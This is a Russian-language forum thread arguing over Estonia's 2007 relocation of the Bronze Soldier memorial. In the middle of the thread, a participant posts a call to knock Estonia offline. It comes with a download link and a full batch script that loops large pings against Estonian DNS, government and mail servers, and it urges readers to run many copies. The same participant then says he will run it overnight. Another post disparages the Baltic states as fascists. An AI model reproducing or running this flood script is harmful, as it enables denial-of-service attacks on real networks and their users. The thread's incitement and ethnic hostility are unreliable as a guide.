эстония

[hi Jack!]

USSR_Man,
Интересно бы было вернуться к этой дискуссии лет через 50, когда в Питере, Москве и на юге России будет новое Косово (это пессимистичный прогноз).

Это не пессимистичный прогноз.
Пессимистичный - это если лет через 50 останется 10-15 миллионов россиян, обслуживающих нефтяные и газовые месторождения, на благо "золотого миллиарда".
Сорри за офф.

[Zhuravkov]

hi Jack!
Вот здесь согласен с тобой, не смотря на огромную разницу наших политических позиций.
И ещё.
Раскапывать эту могилу и убирать памятник подальше - в любом случае - ПАСКУДСТВО. НО.
Те "комплексы неполноценности" которые подвигли эстонские власти на это некрасивое дело,
как раз тот фактор, благодаря которому косовский вариант там может не пройти.
Влияние чужих спецслужб на принятие этого решения тоже, наверно, имело место, но не было главным фактором.

[Fedorka]

Вот люди придумали некий способ чуть-чуть поднагадить эстонии:

Всем у кого безлимит!
КЛАДЕМ ЭСТОНИЮ!!!

http://rapidshare.com/files/28447972/estoniasaset.bat

Скачивайте этот файл и запускайте! Дальше само идет.. Пингует эстонские сервера по кругу.. Лучше сразу несколько процессов запустить, во всю ширь канала!

ИЛИ ТАК:
Скопировать нижеприведённый текст, вставить в блокнот и сохранить как BAT файл

@echo off
SET PING_COUNT=50
SET PING_TOMEOUT=1000
ING
echo Pinguem estonskie servera
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% dns.estpak.ee
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% 194.126.115.18
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% ns.eenet.ee
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% 193.40.56.245
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% ns.kbfi.ee
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% 193.40.133.222
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% ns.online.ee
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% 194.106.96.21
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% ns.uninet.ee
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% 194.204.0.1
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% ns.ut.ee
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% 193.40.5.99
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% ns.uu.net
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% 137.39.1.3
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% sunic.sunet.se
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% 192.36.125.2
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% muheleja.eenet.ee
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% 193.40.0.132
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% ns2.eenet.ee
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% 193.40.0.12
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% kbfi.ee
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% 194.204.58.129
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% smtp.uninet.ee
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% 194.204.0.4
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% ptah.kbfi.ee
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% 194.204.58.129
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% ns.gov.ee
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% 195.80.106.241
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% ns.aso.ee
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% 195.80.96.222
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% ns2.ut.ee
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% 193.40.5.76
ping -w %PING_TOMEOUT% -l 1000 -n %PING_COUNT% mail.gov.ee
GOTO PING

[bars]

детский сад.

[Fedorka]

согласен, но с меня от этого не убудет, поэтому на ночь на работе оставлю запущенными несколько экземпляров.

[Zhuravkov]

А какой нибудь американец, озабоченый свертывнием демократии в России, заспамит, например, nwd.ru
...детский сад

[Nomernoy]

Ну вы и злодей тов. Fedorka

[Zhuravkov]

Кстати, о птичках...
Сейчас самый момент,Как раз сейчас точно это прокатит,
переименовать Кингисепп в Ямбург.

[NeoNavigator]

Нелюблю прибалтийские страны, ведут себя нагло, вызывающе, к тому же фашисты. Живут за чужой счёт, без нас они ни что, пустое место.

[mx]

А не завязать ли с этой темой? По телевизору задолбала эта квасная пропаганда.

[Елена]

Собственно, кому не нравится - могут не читать. Не?
Вот на этот раз с Fedork-ой согласна...

[Irbis]

Чет я не понял, господа: Когда Россия прокладывает пр.Энергетиков по территории Охтинского кладюища, пуская при этом могилы под бульдозер, это нормально. Когда Россия сносит нафиК памятники всяким краснобандитам - это тоже нормально...
А когда суверенное государство решило перезахоронить солдат и взяло на себя смелость само решать, какие памятники и где должны располагаться на его территории, возмущенных оказалось половина России...
Какое, хрен, право мы имеем навязывать Эстонии наши представления о том, как им должно жить? Может быть, пора отказаться от имперских замашек? Хватит двойных стандартов - если мы имеем право решать наши дела так, как считаем нужным, то и другие страны должны иметь точно такое же право.

[Zhuravkov]

Irbis,
если мы будем считать, что не имеем права никому ничего навязывать, и вообще будем вести себя 100% по-христиански и политкорректно, нас СОЖРУТ те, кто не дорос такими проблемами озадачиваться. Нормы и правила т.н. "цивилизованого поведения" и политкорректности придуманы во многом для приведения людей в состояние овец. Эти нормы иногда необходимо сознательно нарушать, Эстония - как раз тот случай. Не имперские замашки, а здоровый инстинкт самосохранения нации. Хоть здесь показал головку.
И двойные стандарты - необходимый элемент любой политики. Учиться надо у Америки, но не выслушивая их поучения, а просто по возможности следуя их стилю и методам во внешней политике.

[Елена]

Irbis
Никто не говорил, что устраивать шоссе на месте кладбищ - хорошо. ти возмущённые, 100% были, например, если б я знала, б тоже активно возмущалась.
Далеко не все памятники "краснобандитам", как ты выразился, сносят. И также нигде не говорится, что это нормально.
По ходу дела надо заметить, что Эстонии это никоим боком не касается: внутренняя и внешняя политика вещи разные.
Теперь, собственно, насчёт Эстонии.
Государство она, может, и суверенное, но до суверенитета своего явно недоросшая. Да и откуда им знать? Они независимыми-то когда последний раз были...
Так вот, по сути: та эпоха, к которой относятся памятники, есть часть нашей ОБЩЕЙ истории, а также часть - и немаловажная - истории мировой. Это не просто могила и не просто памятник, это символ победы над фашизмом, который является злом мировым. К тому же этот "бронзовый солдат" - не русский же в самом деле, а образ солдата вообще, солдата-освободителя Эстонии, следовательно, и эстонца (как и многих других национальностей). Возмущена не только половина России, но и эстонцы. Следовательно, правительство таким решением проявило неуважение и к собственным гражданам, а также к идеям гуманизма (как бы высокопарно ни звучало на первый взгляд). К тому же Эстония-то прекрасно понимает всю подоплёку, и шаг это политический, так же, как понимает это и Евросоюз, которому усиление влияния России не нужно вовсе, ну и америкосы, ессно, тут как тут - куда ж без главной страны мира, которая всегда знает, как кому жить. Более того, как я уше писала, дурной пример заразителен, вон уже и Польша вякает там что-то насчёт такого же действа. Мир, похоже, забыл, что такое фашизм, а это один из символов победы именно над ним - над общемировым злом. Эстония же святые символы использует в качестве средства в грязной политической игре. Я должна после этого уважать такую страну?! Хотя бы в память и преклонение перед нашими ветеранами мы не должны такого допускать!

[Irbis]

Zhuravkov, т.е. ты считаешь нормой вмешательство во внутренние дела других стран? Тогда не удивляйся, если кто-нить (Евросоюз, например), начнет нам диктовать, как мы должны жить в нашей стране. Двойные стандарты - обоюдоострое оружие...
У Ламерики учиться вести внешнюю политику? Т.е. [strike]таr же жидко обсир[/strike] э... действовать столь же неудачно, как янкесы во Ветнаме и Ираке? Ты уверен, что нам это надо? Нам и Афгана хватило ))
Ну а если более серьезно, то Ламерика берется диктовать свои условия там, где может давить (политически, экономически, военной мощью), а Россия тут заведомо будем послана туда, куда меня пьяного послать не рискуют, а трезвый я сам не пойду И нафига это надо? Чтобы в очередной раз стать посмешищем?
Елена Эстонии это касается только тем боком, что, если мы считаем, что имеем право сами решать, каким памятникам быть на нашей земле, а каким - нет, то и Эстония точно такое же право имеет. Это на предмет внутренней и внешней политики.
Далее, это касается, прежде всего, России и того, как она выглядит. Вот тебе пример - кем будет выглядеть модератор какого-нить форума, который сам хамит кому захочет, а других за хамство банит? А? Что? Правильно. Ты хочешь, чтобы наша страна выглядела так же? Лично мне обидно, когда моя Родина в очередной раз садится в лужу.
По поводу ОБЩЕЙ истории - Сталин - тоже история (вместе с лагерями), почему же памятники ему можно уничтожить? Это раз, и второе - так или иначе, но каждая страна (как и каждый человек) имеет право решать, как ей относиться к собственному прошлому. Нет?
Далее - бронзовый солдат тама во вполне узнаваемой форме, т.е. это русский слодат. А вот освободитель ли он, или оккупатор - вопрос более, чем спорный - Если помнишь, Эстония исторически гораздо ближе к Германии, чем к России... Так что, они вполне имеют право считать наших солдат не освободителями вовсе. Кста, Эстонцев, АФАЙК, гораздо больше было не в советской армии, а в германской, так что...
По поводу Евросоюза и Ламерики - дык тут нас по-любому обыграли - если промолчим, будет плохо, если вякнем, нас пошлют и мы утремся - тоже плохо... А реально сделать мы ничего не можем... ИМХО, лучшее, что может сделать в этой ситуации Россия - сделать официальное заявление, что мы этим актом возмущены, но признаем за Эстонией право поступить так, как она поступает, поскольку суверенное государство и есть суверенное государство.